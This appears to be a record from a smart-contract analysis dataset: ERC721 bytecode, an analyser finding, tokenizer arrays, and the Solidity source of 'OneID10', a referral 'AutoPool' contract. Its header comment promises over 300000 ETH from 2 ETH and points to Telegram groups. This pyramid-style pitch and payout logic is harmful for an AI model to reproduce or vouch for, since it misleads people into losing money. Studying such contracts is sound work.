7220717565727920666f72206e6f6e657860448201526b34b9ba32b73a103a37b5b2b760a11b60648201526084016106ff565b600061151583610b24565b9050806001600160a01b0316846001600160a01b031614806115505750836001600160a01b0316611545846107ad565b6001600160a01b0316145b8061158057506001600160a01b0380821660009081526005602090815260408083209388168352929052205460ff165b949350505050565b826001600160a01b031661159b82610b24565b6001600160a01b0316146116035760405162461bcd60e51b815260206004820152602960248201527f4552433732313a207472616e73666572206f6620746f6b656e2074686174206960448201526839903737ba1037bbb760b91b60648201526084016106ff565b6001600160a01b0382166116655760405162461bcd60e51b8152602060048201526024808201527f4552433732313a207472616e7366657220746f20746865207a65726f206164646044820152637265737360e01b60648201526084016106ff565b611670600082611423565b6001600160a01b038316600090815260036020526040812080546001929061169990849061233c565b90915550506001600160a01b03821660009081526003602052604081208054600192906116c79084906122cb565b909155505060008181526002602052604080822080546001600160a01b0319166001600160a01b0386811691821790925591518493918716917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef91a4505050565b600680546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b816001600160a01b0316836001600160a01b0316036117db5760405162461bcd60e51b815260206004820152601960248201527f4552433732313a20617070726f766520746f2063616c6c65720000000000000060448201526064016106ff565b6001600160a01b03838116600081815260056020908152604080832094871680845294825291829020805460ff191686151590811790915591519182527f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c31910160405180910390a3505050565b611853848484611588565b61185f848484846119a5565b610d8e5760405162461bcd60e51b81526004016106ff90612353565b60606008805461072a90612138565b6060816000036118b15750506040805180820190915260018152600360fc1b602082015290565b8160005b81156118db57806118c5816121ef565b91506118d49050600a836123bb565b91506118b5565b60008167ffffffffffffffff8111156118f6576118f6611e79565b6040519080825280601f01601f191660200182016040528015611920576020820181803683370190505b5090505b84156115805761193560018361233c565b9150611942600a866123cf565b61194d9060306122cb565b60f81b818381518110611962576119626121c3565b60200101906001600160f81b031916908160001a905350611984600a866123bb565b9450611924565b610b20828260405180602001604052806000815250611aa6565b60006001600160a01b0384163b15611a9b57604051630a85bd0160e11b81526001600160a01b0385169063150b7a02906119e99033908990889088906004016123e3565b6020604051808303816000875af1925050508015611a24575060408051601f3d908101601f19168201909252611a2191810190612420565b60015b611a81573d808015611a52576040519150601f19603f3d011682016040523d82523d6000602084013e611a57565b606091505b508051600003611a795760405162461bcd60e51b81526004016106ff90612353565b805181602001fd5b6001600160e01b031916630a85bd0160e11b149050611580565b506001949350505050565b611ab08383611ad9565b611abd60008484846119a5565b6109525760405162461bcd60e51b81526004016106ff90612353565b6001600160a01b038216611b2f5760405162461bcd60e51b815260206004820181905260248201527f4552433732313a206d696e7420746f20746865207a65726f206164647265737360448201526064016106ff565b6000818152600260205260409020546001600160a01b031615611b945760405162461bcd60e51b815260206004820152601c60248201527f4552433732313a20746f6b656e20616c7265616479206d696e7465640000000060448201526064016106ff565b6001600160a01b0382166000908152600360205260408120805460019290611bbd9084906122cb565b909155505060008181526002602052604080822080546001600160a01b0319166001600160a01b03861690811790915590518392907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef908290a45050565b828054611c2790612138565b90600052602060002090601f016020900481019282611c495760008555611c8f565b82601f10611c6257805160ff1916838001178555611c8f565b82800160010185558215611c8f579182015b82811115611c8f578251825591602001919060010190611c74565b50611c9b929150611c9f565b5090565b5b80821115611c9b5760008155600101611ca0565b6001600160e01b031981168114610f0257600080fd5b600060208284031215611cdc57600080fd5b8135610e7881611cb4565b8015158114610f0257600080fd5b600060208284031215611d0757600080fd5b8135610e7881611ce7565b60005b83811015611d2d578181015183820152602001611d15565b83811115610d8e5750506000910152565b60008151808452611d56816020860160208601611d12565b601f01601f19169290920160200192915050565b602081526000610e786020830184611d3e565b600060208284031215611d8f57600080fd5b5035919050565b6001600160a01b0381168114610f0257600080fd5b60008060408385031215611dbe57600080fd5b8235611dc981611d96565b946020939093013593505050565b600080600060608486031215611dec57600080fd5b8335611df781611d96565b92506020840135611e0781611d96565b929592945050506040919091013590565b600060208284031215611e2a57600080fd5b8135610e7881611d96565b6020808252825182820181905260009190848201906040850190845b81811015611e6d57835183529284019291840191600101611e51565b50909695505050505050565b634e487b7160e01b600052604160045260246000fd5b604051601f8201601f1916810167ffffffffffffffff81118282101715611eb857611eb8611e79565b604052919050565b600067ffffffffffffffff831115611eda57611eda611e79565b611eed601f8401601f1916602001611e8f565b9050828152838383011115611f0157600080fd5b828260208301376000602084830101529392505050565b600060208284031215611f2a57600080fd5b813567ffffffffffffffff811115611f4157600080fd5b8201601f81018413611f5257600080fd5b61158084823560208401611ec0565b60008060408385031215611f7457600080fd5b8235611f7f81611d96565b91506020830135611f8f81611ce7565b809150509250929050565b60008060008060808587031215611fb057600080fd5b8435611fbb81611d96565b93506020850135611fcb81611d96565b925060408501359150606085013567ffffffffffffffff811115611fee57600080fd5b8501601f81018713611fff57600080fd5b61200e87823560208401611ec0565b91505092959194509250565b6000806040838503121561202d57600080fd5b823561203881611d96565b915060208381013567ffffffffffffffff8082111561205657600080fd5b818601915086601f83011261206a57600080fd5b81358181111561207c5761207c611e79565b8060051b915061208d848301611e8f565b81815291830184019184810190898411156120a757600080fd5b938501935b838510156120c5578435825293850193908501906120ac565b8096505050505050509250929050565b600080604083850312156120e857600080fd5b82356120f381611d96565b91506020830135611f8f81611d96565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600181811c9082168061214c57607f821691505b60208210810361216c57634e487b7160e01b600052602260045260246000fd5b50919050565b60208082526031908201527f4552433732313a207472616e736665722063616c6c6572206973206e6f74206f6040820152701ddb995c881b9bdc88185c1c1c9bdd9959607a1b606082015260800190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b600060018201612201576122016121d9565b5060010190565b60008451602061221b8285838a01611d12565b85519184019161222e8184848a01611d12565b8554920191600090600181811c908083168061224b57607f831692505b858310810361226857634e487b7160e01b85526022600452602485fd5b80801561227c576001811461228d576122ba565b60ff198516885283880195506122ba565b60008b81526020902060005b858110156122b25781548a820152908401908801612299565b505083880195505b50939b9a5050505050505050505050565b600082198211156122de576122de6121d9565b500190565b6000602082840312156122f557600080fd5b8151610e7881611d96565b600081600019048311821515161561231a5761231a6121d9565b500290565b60006020828403121561233157600080fd5b8151610e7881611ce7565b60008282101561234e5761234e6121d9565b500390565b60208082526032908201527f4552433732313a207472616e7366657220746f206e6f6e20455243373231526560408201527131b2b4bb32b91034b6b83632b6b2b73a32b960711b606082015260800190565b634e487b7160e01b600052601260045260246000fd5b6000826123ca576123ca6123a5565b500490565b6000826123de576123de6123a5565b500690565b6001600160a01b038581168252841660208201526040810183905260806060820181905260009061241690830184611d3e565b9695505050505050565b60006020828403121561243257600080fd5b8151610e7881611cb456fea26469706673582212205912979acb7cf3467cfb730d88f99badcd53f15cacbe290abf7c2417b706c13f64736f6c634300080d0033
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2581, 23777, 2575, 16068, 2063, 2683, 2575, 2050, 20842, 2620, 11329, 11329, 2683, 22025, 8889, 2475, 2050, 2692, 24434, 24087, 2683, 28311, 2487, 4246, 2692, 16703, 2278, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 10975, 8490, 2863, 5024, 3012, 1028, 1027, 1014, 1012, 1022, 1012, 1018, 1026, 1014, 1012, 1023, 1012, 1014, 1025, 12324, 1000, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 19204, 1013, 9413, 2278, 2581, 17465, 1013, 9413, 2278, 2581, 17465, 1012, 14017, 1000, 1025, 12324, 1000, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 21183, 12146, 1013, 24094, 1012, 14017, 1000, 1025, 12324, 1000, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 3229, 1013, 2219, 3085, 1012, 14017, 1000, 1025, 12324, 1000, 1030, 2330, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,740
0x97438b2a8D5cea628B8F616CA2E4E895defAcF32
/* // ONE ID 10 // Hello // I am Onene One IDID 10, // Global One ID AutoPool Smart contract. // Earn more than 300000 ETH with just 2 ETH. // This is a tool to generate passive income. // ADVANTAGES OF THIS SMART CONTRACT // Only allow registration if 1 Referral ID is 1. // Can not stop, exist forever. // Simple registration and upgrade. No login or password required. // Auto-overflow. // Repeat high income to level 10. // Every member is happy. // Simple and manipulative interface on Etherscan. // Open source, authenticated on Etherscan. // High income. invite people online & offline. // Market development by international leaders. // And more, ... // My URL : https://Oneid10github.io // Telegram Channel: https://t.me/ONE_ID_10 // Private Telegram Group: https://t.me/joinchat/DQWsThP_PYUT9rL4HywAhg // Hashtag: #Oneid10 */ pragma solidity 0.5.11 - 0.6.4; contract OneID10 { address public ownerWallet; uint public currUserID = 0; uint public pool1currUserID = 0; uint public pool2currUserID = 0; uint public pool3currUserID = 0; uint public pool4currUserID = 0; uint public pool5currUserID = 0; uint public pool6currUserID = 0; uint public pool7currUserID = 0; uint public pool8currUserID = 0; uint public pool9currUserID = 0; uint public pool10currUserID = 0; uint public pool1activeUserID = 0; uint public pool2activeUserID = 0; uint public pool3activeUserID = 0; uint public pool4activeUserID = 0; uint public pool5activeUserID = 0; uint public pool6activeUserID = 0; uint public pool7activeUserID = 0; uint public pool8activeUserID = 0; uint public pool9activeUserID = 0; uint public pool10activeUserID = 0; uint public unlimited_level_price=0; struct UserStruct { bool isExist; uint id; uint referrerID; uint referredUsers; mapping(uint => uint) levelExpired; } struct PoolUserStruct { bool isExist; uint id; uint payment_received; } mapping (address => UserStruct) public users; mapping (uint => address) public userList; mapping (address => PoolUserStruct) public pool1users; mapping (uint => address) public pool1userList; mapping (address => PoolUserStruct) public pool2users; mapping (uint => address) public pool2userList; mapping (address => PoolUserStruct) public pool3users; mapping (uint => address) public pool3userList; mapping (address => PoolUserStruct) public pool4users; mapping (uint => address) public pool4userList; mapping (address => PoolUserStruct) public pool5users; mapping (uint => address) public pool5userList; mapping (address => PoolUserStruct) public pool6users; mapping (uint => address) public pool6userList; mapping (address => PoolUserStruct) public pool7users; mapping (uint => address) public pool7userList; mapping (address => PoolUserStruct) public pool8users; mapping (uint => address) public pool8userList; mapping (address => PoolUserStruct) public pool9users; mapping (uint => address) public pool9userList; mapping (address => PoolUserStruct) public pool10users; mapping (uint => address) public pool10userList; mapping(uint => uint) public LEVEL_PRICE; uint REGESTRATION_FESS=0.5 ether; uint pool1_price=1 ether; uint pool2_price=2 ether ; uint pool3_price=5 ether; uint pool4_price=10 ether; uint pool5_price=20 ether; uint pool6_price=50 ether; uint pool7_price=100 ether ; uint pool8_price=200 ether; uint pool9_price=500 ether; uint pool10_price=1000 ether; event regLevelEvent(address indexed _user, address indexed _referrer, uint _time); event getMoneyForLevelEvent(address indexed _user, address indexed _referral, uint _level, uint _time); event regPoolEntry(address indexed _user,uint _level, uint _time); event getPoolPayment(address indexed _user,address indexed _receiver, uint _level, uint _time); UserStruct[] public requests; constructor() public { ownerWallet = msg.sender; LEVEL_PRICE[1] = 0.1 ether; LEVEL_PRICE[2] = 0.05 ether; LEVEL_PRICE[3] = 0.025 ether; LEVEL_PRICE[4] = 0.0025 ether; unlimited_level_price=0.0025 ether; UserStruct memory userStruct; currUserID++; userStruct = UserStruct({ isExist: true, id: currUserID, referrerID: 0, referredUsers:0 }); users[ownerWallet] = userStruct; userList[currUserID] = ownerWallet; PoolUserStruct memory pooluserStruct; pool1currUserID++; pooluserStruct = PoolUserStruct({ isExist:true, id:pool1currUserID, payment_received:0 }); pool1activeUserID=pool1currUserID; pool1users[msg.sender] = pooluserStruct; pool1userList[pool1currUserID]=msg.sender; pool2currUserID++; pooluserStruct = PoolUserStruct({ isExist:true, id:pool2currUserID, payment_received:0 }); pool2activeUserID=pool2currUserID; pool2users[msg.sender] = pooluserStruct; pool2userList[pool2currUserID]=msg.sender; pool3currUserID++; pooluserStruct = PoolUserStruct({ isExist:true, id:pool3currUserID, payment_received:0 }); pool3activeUserID=pool3currUserID; pool3users[msg.sender] = pooluserStruct; pool3userList[pool3currUserID]=msg.sender; pool4currUserID++; pooluserStruct = PoolUserStruct({ isExist:true, id:pool4currUserID, payment_received:0 }); pool4activeUserID=pool4currUserID; pool4users[msg.sender] = pooluserStruct; pool4userList[pool4currUserID]=msg.sender; pool5currUserID++; pooluserStruct = PoolUserStruct({ isExist:true, id:pool5currUserID, payment_received:0 }); pool5activeUserID=pool5currUserID; pool5users[msg.sender] = pooluserStruct; pool5userList[pool5currUserID]=msg.sender; pool6currUserID++; pooluserStruct = PoolUserStruct({ isExist:true, id:pool6currUserID, payment_received:0 }); pool6activeUserID=pool6currUserID; pool6users[msg.sender] = pooluserStruct; pool6userList[pool6currUserID]=msg.sender; pool7currUserID++; pooluserStruct = PoolUserStruct({ isExist:true, id:pool7currUserID, payment_received:0 }); pool7activeUserID=pool7currUserID; pool7users[msg.sender] = pooluserStruct; pool7userList[pool7currUserID]=msg.sender; pool8currUserID++; pooluserStruct = PoolUserStruct({ isExist:true, id:pool8currUserID, payment_received:0 }); pool8activeUserID=pool8currUserID; pool8users[msg.sender] = pooluserStruct; pool8userList[pool8currUserID]=msg.sender; pool9currUserID++; pooluserStruct = PoolUserStruct({ isExist:true, id:pool9currUserID, payment_received:0 }); pool9activeUserID=pool9currUserID; pool9users[msg.sender] = pooluserStruct; pool9userList[pool9currUserID]=msg.sender; pool10currUserID++; pooluserStruct = PoolUserStruct({ isExist:true, id:pool10currUserID, payment_received:0 }); pool10activeUserID=pool10currUserID; pool10users[msg.sender] = pooluserStruct; pool10userList[pool10currUserID]=msg.sender; } function regUser(uint _referrerID) public payable { require(!users[msg.sender].isExist, "User Exists"); require(_referrerID > 0 && _referrerID < 2 , 'Use Only ID 1 As a General Referral ID'); require(msg.value == REGESTRATION_FESS, 'Incorrect Value'); UserStruct memory userStruct; currUserID++; userStruct = UserStruct({ isExist: true, id: currUserID, referrerID: _referrerID, referredUsers:0 }); users[msg.sender] = userStruct; userList[currUserID]=msg.sender; users[userList[users[msg.sender].referrerID]].referredUsers=users[userList[users[msg.sender].referrerID]].referredUsers+1; payReferral(1,msg.sender); emit regLevelEvent(msg.sender, userList[_referrerID], now); } function payReferral(uint _level, address _user) internal { address referer; referer = userList[users[_user].referrerID]; bool sent = false; uint level_price_local=0; if(_level>4){ level_price_local=unlimited_level_price; } else{ level_price_local=LEVEL_PRICE[_level]; } sent = address(uint160(referer)).send(level_price_local); if (sent) { emit getMoneyForLevelEvent(referer, msg.sender, _level, now); if(_level < 50 && users[referer].referrerID >= 1){ payReferral(_level+1,referer); } else { sendBalance(); } } if(!sent) { // emit lostMoneyForLevelEvent(referer, msg.sender, _level, now); payReferral(_level, referer); } } function buyPool1() public payable { require(users[msg.sender].isExist, "User Not Registered"); require(!pool1users[msg.sender].isExist, "Already in AutoPool"); require(msg.value == pool1_price, 'Incorrect Value'); PoolUserStruct memory userStruct; address pool1Currentuser=pool1userList[pool1activeUserID]; pool1currUserID++; userStruct = PoolUserStruct({ isExist:true, id:pool1currUserID, payment_received:0 }); pool1users[msg.sender] = userStruct; pool1userList[pool1currUserID]=msg.sender; bool sent = false; sent = address(uint160(pool1Currentuser)).send(pool1_price); if (sent) { pool1users[pool1Currentuser].payment_received+=1; if(pool1users[pool1Currentuser].payment_received>=2) { pool1activeUserID+=1; } emit getPoolPayment(msg.sender,pool1Currentuser, 1, now); } emit regPoolEntry(msg.sender, 1, now); } function buyPool2() public payable { require(users[msg.sender].isExist, "User Not Registered"); require(!pool2users[msg.sender].isExist, "Already in AutoPool"); require(msg.value == pool2_price, 'Incorrect Value'); require(users[msg.sender].referredUsers>=0, "Must need 0 referral"); PoolUserStruct memory userStruct; address pool2Currentuser=pool2userList[pool2activeUserID]; pool2currUserID++; userStruct = PoolUserStruct({ isExist:true, id:pool2currUserID, payment_received:0 }); pool2users[msg.sender] = userStruct; pool2userList[pool2currUserID]=msg.sender; bool sent = false; sent = address(uint160(pool2Currentuser)).send(pool2_price); if (sent) { pool2users[pool2Currentuser].payment_received+=1; if(pool2users[pool2Currentuser].payment_received>=3) { pool2activeUserID+=1; } emit getPoolPayment(msg.sender,pool2Currentuser, 2, now); } emit regPoolEntry(msg.sender,2, now); } function buyPool3() public payable { require(users[msg.sender].isExist, "User Not Registered"); require(!pool3users[msg.sender].isExist, "Already in AutoPool"); require(msg.value == pool3_price, 'Incorrect Value'); require(users[msg.sender].referredUsers>=0, "Must need 0 referral"); PoolUserStruct memory userStruct; address pool3Currentuser=pool3userList[pool3activeUserID]; pool3currUserID++; userStruct = PoolUserStruct({ isExist:true, id:pool3currUserID, payment_received:0 }); pool3users[msg.sender] = userStruct; pool3userList[pool3currUserID]=msg.sender; bool sent = false; sent = address(uint160(pool3Currentuser)).send(pool3_price); if (sent) { pool3users[pool3Currentuser].payment_received+=1; if(pool3users[pool3Currentuser].payment_received>=4) { pool3activeUserID+=1; } emit getPoolPayment(msg.sender,pool3Currentuser, 3, now); } emit regPoolEntry(msg.sender,3, now); } function buyPool4() public payable { require(users[msg.sender].isExist, "User Not Registered"); require(!pool4users[msg.sender].isExist, "Already in AutoPool"); require(msg.value == pool4_price, 'Incorrect Value'); require(users[msg.sender].referredUsers>=0, "Must need 0 referral"); PoolUserStruct memory userStruct; address pool4Currentuser=pool4userList[pool4activeUserID]; pool4currUserID++; userStruct = PoolUserStruct({ isExist:true, id:pool4currUserID, payment_received:0 }); pool4users[msg.sender] = userStruct; pool4userList[pool4currUserID]=msg.sender; bool sent = false; sent = address(uint160(pool4Currentuser)).send(pool4_price); if (sent) { pool4users[pool4Currentuser].payment_received+=1; if(pool4users[pool4Currentuser].payment_received>=5) { pool4activeUserID+=1; } emit getPoolPayment(msg.sender,pool4Currentuser, 4, now); } emit regPoolEntry(msg.sender,4, now); } function buyPool5() public payable { require(users[msg.sender].isExist, "User Not Registered"); require(!pool5users[msg.sender].isExist, "Already in AutoPool"); require(msg.value == pool5_price, 'Incorrect Value'); require(users[msg.sender].referredUsers>=0, "Must need 0 referral"); PoolUserStruct memory userStruct; address pool5Currentuser=pool5userList[pool5activeUserID]; pool5currUserID++; userStruct = PoolUserStruct({ isExist:true, id:pool5currUserID, payment_received:0 }); pool5users[msg.sender] = userStruct; pool5userList[pool5currUserID]=msg.sender; bool sent = false; sent = address(uint160(pool5Currentuser)).send(pool5_price); if (sent) { pool5users[pool5Currentuser].payment_received+=1; if(pool5users[pool5Currentuser].payment_received>=6) { pool5activeUserID+=1; } emit getPoolPayment(msg.sender,pool5Currentuser, 5, now); } emit regPoolEntry(msg.sender,5, now); } function buyPool6() public payable { require(!pool6users[msg.sender].isExist, "Already in AutoPool"); require(msg.value == pool6_price, 'Incorrect Value'); require(users[msg.sender].referredUsers>=0, "Must need 0 referral"); PoolUserStruct memory userStruct; address pool6Currentuser=pool6userList[pool6activeUserID]; pool6currUserID++; userStruct = PoolUserStruct({ isExist:true, id:pool6currUserID, payment_received:0 }); pool6users[msg.sender] = userStruct; pool6userList[pool6currUserID]=msg.sender; bool sent = false; sent = address(uint160(pool6Currentuser)).send(pool6_price); if (sent) { pool6users[pool6Currentuser].payment_received+=1; if(pool6users[pool6Currentuser].payment_received>=7) { pool6activeUserID+=1; } emit getPoolPayment(msg.sender,pool6Currentuser, 6, now); } emit regPoolEntry(msg.sender,6, now); } function buyPool7() public payable { require(users[msg.sender].isExist, "User Not Registered"); require(!pool7users[msg.sender].isExist, "Already in AutoPool"); require(msg.value == pool7_price, 'Incorrect Value'); require(users[msg.sender].referredUsers>=0, "Must need 0 referral"); PoolUserStruct memory userStruct; address pool7Currentuser=pool7userList[pool7activeUserID]; pool7currUserID++; userStruct = PoolUserStruct({ isExist:true, id:pool7currUserID, payment_received:0 }); pool7users[msg.sender] = userStruct; pool7userList[pool7currUserID]=msg.sender; bool sent = false; sent = address(uint160(pool7Currentuser)).send(pool7_price); if (sent) { pool7users[pool7Currentuser].payment_received+=1; if(pool7users[pool7Currentuser].payment_received>=8) { pool7activeUserID+=1; } emit getPoolPayment(msg.sender,pool7Currentuser, 7, now); } emit regPoolEntry(msg.sender,7, now); } function buyPool8() public payable { require(users[msg.sender].isExist, "User Not Registered"); require(!pool8users[msg.sender].isExist, "Already in AutoPool"); require(msg.value == pool8_price, 'Incorrect Value'); require(users[msg.sender].referredUsers>=0, "Must need 0 referral"); PoolUserStruct memory userStruct; address pool8Currentuser=pool8userList[pool8activeUserID]; pool8currUserID++; userStruct = PoolUserStruct({ isExist:true, id:pool8currUserID, payment_received:0 }); pool8users[msg.sender] = userStruct; pool8userList[pool8currUserID]=msg.sender; bool sent = false; sent = address(uint160(pool8Currentuser)).send(pool8_price); if (sent) { pool8users[pool8Currentuser].payment_received+=1; if(pool8users[pool8Currentuser].payment_received>=9) { pool8activeUserID+=1; } emit getPoolPayment(msg.sender,pool8Currentuser, 8, now); } emit regPoolEntry(msg.sender,8, now); } function buyPool9() public payable { require(users[msg.sender].isExist, "User Not Registered"); require(!pool9users[msg.sender].isExist, "Already in AutoPool"); require(msg.value == pool9_price, 'Incorrect Value'); require(users[msg.sender].referredUsers>=0, "Must need 0 referral"); PoolUserStruct memory userStruct; address pool9Currentuser=pool9userList[pool9activeUserID]; pool9currUserID++; userStruct = PoolUserStruct({ isExist:true, id:pool9currUserID, payment_received:0 }); pool9users[msg.sender] = userStruct; pool9userList[pool9currUserID]=msg.sender; bool sent = false; sent = address(uint160(pool9Currentuser)).send(pool9_price); if (sent) { pool9users[pool9Currentuser].payment_received+=1; if(pool9users[pool9Currentuser].payment_received>=10) { pool9activeUserID+=1; } emit getPoolPayment(msg.sender,pool9Currentuser, 9, now); } emit regPoolEntry(msg.sender,9, now); } function buyPool10() public payable { require(users[msg.sender].isExist, "User Not Registered"); require(!pool10users[msg.sender].isExist, "Already in AutoPool"); require(msg.value == pool10_price, 'Incorrect Value'); require(users[msg.sender].referredUsers>=0, "Must need 0 referral"); PoolUserStruct memory userStruct; address pool10Currentuser=pool10userList[pool10activeUserID]; pool10currUserID++; userStruct = PoolUserStruct({ isExist:true, id:pool10currUserID, payment_received:0 }); pool10users[msg.sender] = userStruct; pool10userList[pool10currUserID]=msg.sender; bool sent = false; sent = address(uint160(pool10Currentuser)).send(pool10_price); if (sent) { pool10users[pool10Currentuser].payment_received+=1; if(pool10users[pool10Currentuser].payment_received>=300) { pool10activeUserID+=1; } emit getPoolPayment(msg.sender,pool10Currentuser, 10, now); } emit regPoolEntry(msg.sender, 10, now); } function getEthBalance() public view returns(uint) { return address(this).balance; } function sendBalance() private { if (!address(uint160(ownerWallet)).send(getEthBalance())) { } } }
0x60806040526004361061038c5760003560e01c806380085ec4116101dc578063a565a5b611610102578063db7242bd116100a0578063e592ac561161006f578063e592ac56146112a4578063e687ecac146112cf578063ed3bb9fa14611346578063eecbdd94146113505761038c565b8063db7242bd14611179578063dd5d3e30146111f4578063dea9095a1461126f578063e35fc7e21461129a5761038c565b8063bdbefbf6116100dc578063bdbefbf61461109e578063c3285de6146110c9578063c5d8444d146110d3578063c6d79e9d146110fe5761038c565b8063a565a5b61461100c578063a87430ba14611016578063ae01d264146110945761038c565b80638853b53e1161017a5780639f01c016116101495780639f01c01614610ec45780639f4216e814610eef5780639f9a2b0e14610f6a578063a4bb170d14610fe15761038c565b80638853b53e14610de95780639335dcb714610e175780639561302a14610e6e578063956c9ebf14610e995761038c565b806384abfa37116101b657806384abfa3714610ca557806384d82db814610d1c578063851f31c614610d47578063878b255d14610dbe5761038c565b806380085ec414610b4b578063805b495414610bc257806381d12c5814610c3d5761038c565b806350264b55116102c15780636e2fb91d1161025f57806379378e301161022e57806379378e3014610a2b5780637aa6e6dc14610a7a5780637ff135cd14610aa55780637ff5c45014610b205761038c565b80636e2fb91d1461090857806370047eeb1461097f57806370ed0ada1461098957806378dffea7146109b45761038c565b806360fbf1221161029b57806360fbf122146108315780636254a0ef146108a8578063673f554b146108b2578063699ad07e146108dd5761038c565b806350264b55146107605780635761a7ae146107db5780635a1cb2cd146108065761038c565b806338f2f4461161032e5780634147cde8116103085780634147cde814610685578063435ea130146106b0578063460c3c071461072b578063461aa478146107565761038c565b806338f2f446146105d957806338fc99bd146106505780633bddc9511461065a5761038c565b806309fd01ba1161036a57806309fd01ba1461043d5780630c851e3c146104b8578063282e06761461053357806336509f77146105ae5761038c565b806301073bf514610391578063080f775f1461039b57806309ea330a146103c6575b600080fd5b61039961137b565b005b3480156103a757600080fd5b506103b0611875565b6040518082815260200191505060405180910390f35b3480156103d257600080fd5b50610415600480360360208110156103e957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061187b565b6040518084151515158152602001838152602001828152602001935050505060405180910390f35b34801561044957600080fd5b506104766004803603602081101561046057600080fd5b81019080803590602001909291905050506118b2565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156104c457600080fd5b506104f1600480360360208110156104db57600080fd5b81019080803590602001909291905050506118e5565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561053f57600080fd5b5061056c6004803603602081101561055657600080fd5b8101908080359060200190929190505050611918565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156105ba57600080fd5b506105c361194b565b6040518082815260200191505060405180910390f35b3480156105e557600080fd5b50610628600480360360208110156105fc57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611951565b6040518084151515158152602001838152602001828152602001935050505060405180910390f35b610658611988565b005b34801561066657600080fd5b5061066f611f3b565b6040518082815260200191505060405180910390f35b34801561069157600080fd5b5061069a611f41565b6040518082815260200191505060405180910390f35b3480156106bc57600080fd5b506106e9600480360360208110156106d357600080fd5b8101908080359060200190929190505050611f47565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561073757600080fd5b50610740611f79565b6040518082815260200191505060405180910390f35b61075e611f7f565b005b34801561076c57600080fd5b506107996004803603602081101561078357600080fd5b8101908080359060200190929190505050612532565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156107e757600080fd5b506107f0612565565b6040518082815260200191505060405180910390f35b34801561081257600080fd5b5061081b61256b565b6040518082815260200191505060405180910390f35b34801561083d57600080fd5b506108806004803603602081101561085457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612571565b6040518084151515158152602001838152602001828152602001935050505060405180910390f35b6108b06125a8565b005b3480156108be57600080fd5b506108c7612b5b565b6040518082815260200191505060405180910390f35b3480156108e957600080fd5b506108f2612b61565b6040518082815260200191505060405180910390f35b34801561091457600080fd5b506109576004803603602081101561092b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612b67565b6040518084151515158152602001838152602001828152602001935050505060405180910390f35b610987612b9e565b005b34801561099557600080fd5b5061099e613151565b6040518082815260200191505060405180910390f35b3480156109c057600080fd5b50610a03600480360360208110156109d757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050613159565b6040518084151515158152602001838152602001828152602001935050505060405180910390f35b348015610a3757600080fd5b50610a6460048036036020811015610a4e57600080fd5b8101908080359060200190929190505050613190565b6040518082815260200191505060405180910390f35b348015610a8657600080fd5b50610a8f6131a8565b6040518082815260200191505060405180910390f35b348015610ab157600080fd5b50610ade60048036036020811015610ac857600080fd5b81019080803590602001909291905050506131ae565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b348015610b2c57600080fd5b50610b356131e1565b6040518082815260200191505060405180910390f35b348015610b5757600080fd5b50610b9a60048036036020811015610b6e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506131e7565b6040518084151515158152602001838152602001828152602001935050505060405180910390f35b348015610bce57600080fd5b50610bfb60048036036020811015610be557600080fd5b810190808035906020019092919050505061321e565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b348015610c4957600080fd5b50610c7660048036036020811015610c6057600080fd5b8101908080359060200190929190505050613251565b604051808515151515815260200184815260200183815260200182815260200194505050505060405180910390f35b348015610cb157600080fd5b50610cf460048036036020811015610cc857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061329b565b6040518084151515158152602001838152602001828152602001935050505060405180910390f35b348015610d2857600080fd5b50610d316